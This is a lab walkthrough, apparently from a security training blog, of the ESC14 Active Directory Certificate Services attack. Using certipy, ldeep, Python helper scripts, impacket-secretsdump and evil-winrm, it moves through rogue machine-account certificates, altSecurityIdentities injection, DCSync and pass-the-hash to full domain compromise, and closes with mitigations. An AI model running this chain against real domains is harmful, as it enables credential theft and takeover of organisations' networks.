ESC14 targets weak certificate mapping in Active Directory, exploiting the altSecurityIdentities attribute to allow attackers to spoof Subject CN or Issuer DN fields. This enables unauthorized PKI authentication as a privileged user or Domain Controller, leading to privilege escalation and potential domain compromise. Proper certificate validation is critical to prevent ESC14 attacks.

Table of Content

• Overview the ESC14 Attack
• Working of ESC14
• Prerequisites
• Lab Setup

Enumeration & Exploitation

• Abusing Weak Explicit Certificate Mappings via altSecurityIdentities

Post Exploitation

• Full SYSTEM Shell via Evil-WinRM

Mitigation

Overview the ESC14 Attack

ESC14 is a powerful post-exploitation technique targeting Active Directory Certificate Services (AD CS) environments where explicit certificate mappings (altSecurityIdentities) are weakly configured or poorly monitored.

Instead of relying on UPN mapping like in attacks such as ESC1 or ESC8, ESC14 abuses direct manual mappings between a certificate and an AD user account. By injecting a forged mapping into the altSecurityIdentities attribute of a target user (e.g., raj), an attacker can trick Active Directory into accepting any certificate that matches the mapping for Kerberos authentication.

This technique becomes especially dangerous when:

• The attacker can create machine accounts or obtain certificates with controllable fields.
• The environment uses Issuer-Subject or Subject-only mapping (weak options).

In this scenario, we’ll show how to escalate from a low-privileged user (sanjeet) to full domain compromise, pivoting through certificate abuse, explicit mapping, and finally extracting Administrator credentials.

Working of ESC14

The ESC14 technique typically involves the following steps:

1. Explicit Mapping Exploit – By editing altSecurityIdentities, we directly tie a certificate to another account.
2. Machine Cert Abuse – Utilizing a machine certificate helps bypass UPN-based controls.
3. PKINIT Authentication Flow – AD trusts the mapping to issue tickets, enabling ticket-based impersonation.
4. Privilege Escalation to Admin – Once can authenticate, DCSync and hash extraction techniques become viable.

In summary, ESC14 exploits misconfigured explicit certificate mapping to impersonate high-privileged accounts. By altering the altSecurityIdentities attribute and using machine certificates, attackers gain Kerberos tickets via PKINIT, enabling privilege escalation through tools like DCSync, ultimately achieving Domain Admin access. This underscores the need for securing certificate mapping and enforcing strong PKI practices.

Prerequisite

• Windows Server 2019 as Active Directory that supports PKINIT
• Domain must have Active Directory Certificate Services and Certificate Authority configured.
• Kali Linux packed with tools
• Tools: Certipy, OpenSSL, Ldeep, Python scripts for altSecurityIdentities manipulation, Impacket, and Evil-WinRM

Lab Setup

For this article, we’re skipping the full Active Directory and CA setup instructions, assuming you already have:

• A working domain(ignite.local in our case)
• Domain Controller at 168.220.138 in our case
• Certificate Authority configured (with a Machine template enabled)
• Two domain users(may vary in your case):
  • raj (Target)
  • sanjeet (Attacker)

We’ll focus purely on the exploitation flow, beginning from user enumeration through to full Domain Admin takeover.

Enumeration & Exploitation

Abusing Weak Explicit Certificate Mappings via altSecurityIdentities

Confirm Existing User Accounts

Before starting, validate that both raj and sanjeet exist in the domain:

net user raj

net user sanjeet

Firstly, we validate that raj (target) and sanjeet (attacker) exist in the domain. This ensures both our victim and attacker identities are available for the upcoming abuse.

Grant raj Full Control Over sanjeet

In Active Directory Users and Computers (ADUC):

• Open raj → Properties → Security → Advanced
• Add sanjeet with Full Control (may vary in your case)

This step is a key ESC14 prerequisite. Without write access to raj’s attributes, the attacker (sanjeet) can’t manipulate the altSecurityIdentities field.

Create a Rogue Machine Account (badpc$)

To obtain a trusted PKINIT certificate, we create a machine account (e.g., badpc$) to enroll for a machine-authenticating certificate.

certipy-ad account -u sanjeet -p Password@1 -dc-ip 192.168.220.138 -target dc01.ignite.local -user badpc$ -pass Password@3 create

We create a machine account (e.g., badpc$) because machine accounts can enroll for certificates using the Machine template, which includes the Client Authentication EKU required for PKINIT.

Request a Certificate for the Machine Account

We request a certificate for badpc$ using the Machine template

certipy-ad req -target dc01.ignite.local -u badpc$ -p Password@3 -dc-ip 192.168.220.138 -template Machine -ca ignite-DC01-CA

This gives us a legitimate, CA-signed cert, trusted for authentication.

Extract and Analyze the Public Certificate

We export the public part of the certificate and inspect it with OpenSSL.

certipy-ad cert -pfx badpc.pfx -nokey -out "badpc.crt

The key fields we care about are:

• Issuer Name
• Serial Number

openssl x509 -in badpc.crt -noout -text

These two pieces are essential for building a valid altSecurityIdentities X509 mapping string.

Inspect the Target’s Existing Mapping

Before injecting our mapping, we check whether raj already has any certificate based logon mappings

ldeep ldap -u sanjeet -d ignite.local -p Password@1 -s ldap://192.168.220.138 search '(samaccountname=raj)' altSecurityIdentities

This avoids overwriting or colliding with legitimate mappings.

Generate the Correct Mapping Format (Issuer+Serial)

This custom Python tool generates the precise X509 mapping string in the following format:

python x509_issuer_serial_number_format.py

Note: We use this tool to generate the mapping string for the rogue certificate (from badpc$) before injecting it into the target user’s (raj) altSecurityIdentities attribute.

This exact string is what Active Directory uses to match incoming certificate authentication attempts against the target account. Without this correctly formatted string, AD won’t recognize or map the certificate.

Inject the Mapping into raj’s altSecurityIdentities

By editing raj’s LDAP object, we explicitly link our rogue cert (from badpc$) to the target user. Once done, AD will allow authentication to raj via this cert.

We write the generated mapping into raj’s altSecurityIdentities attribute via LDAP.

Any client presenting a certificate matching this Issuer+Serial will authenticate as raj during PKINIT.

python add-altSecurityIdentities.py

Note: After generating the mapping string with the previous Python script, we run this command to write that mapping into raj’s LDAP object, enabling certificate based impersonation.

Again, double check that the mapping was added. This step avoids troubleshooting authentication failures later as done in below screenshot.

ldeep ldap -u sanjeet -d ignite.local -p Password@1 -s ldap://192.168.220.138 search '(samaccountname=raj)' altSecurityIdentities

Authenticate as raj Using the Machine Certificate

Then, we authenticate as raj, using the certificate originally issued to badpc$.

certipy-ad auth -pfx badpc.pfx -dc-ip 192.168.220.138 -username raj -domain ignite.local

AD trusts the cert because of the explicit mapping we injected, making this a perfect ESC14 exploitation.

With raj’s elevated authentication, we run DCSync to pull the Administrator’s NTLM hash, a classic post exploitation goal as below.

export KRB5CCNAME=raj.ccache

Note: The export KRB5CCNAME=raj.ccache step is critical for using your captured Kerberos ticket for post exploitation actions like DCSync, hash dumping, or remote access, all without needing passwords or hashes again.

Now the tool will use the Kerberos ticket from raj.ccache, not prompting for credentials.

impacket-secretsdump -just-dc-user administrator ignite.local/raj@dc01.ignite.local -k -no-pass

Post Exploitation

Full SYSTEM Shell via Evil-WinRM

Finally, we now log in as Administrator using Evil-WinRM and the stolen NTLM hash—giving us full SYSTEM access on the Domain Controller.

evil-winrm -i 192.168.220.138 -u administrator -H 64fbae31cc352fc26af97cbdef151e03

Mitigation

• Restrict altSecurityIdentities write access: Only Domain Admins or equivalent.
• Audit all changes to altSecurityIdentities: Enable LDAP modification logging (Event ID 5136).
• Enforce strong certificate mapping policies: Avoid mappings that rely solely on Subject or non-unique fields.
• Monitor PKINIT TGT requests: Especially from accounts where mapping was recently changed.

Author: MD Aslam drives security excellence and mentors teams to strengthen security across products, networks, and organizations as a dynamic Information Security leader. Contact here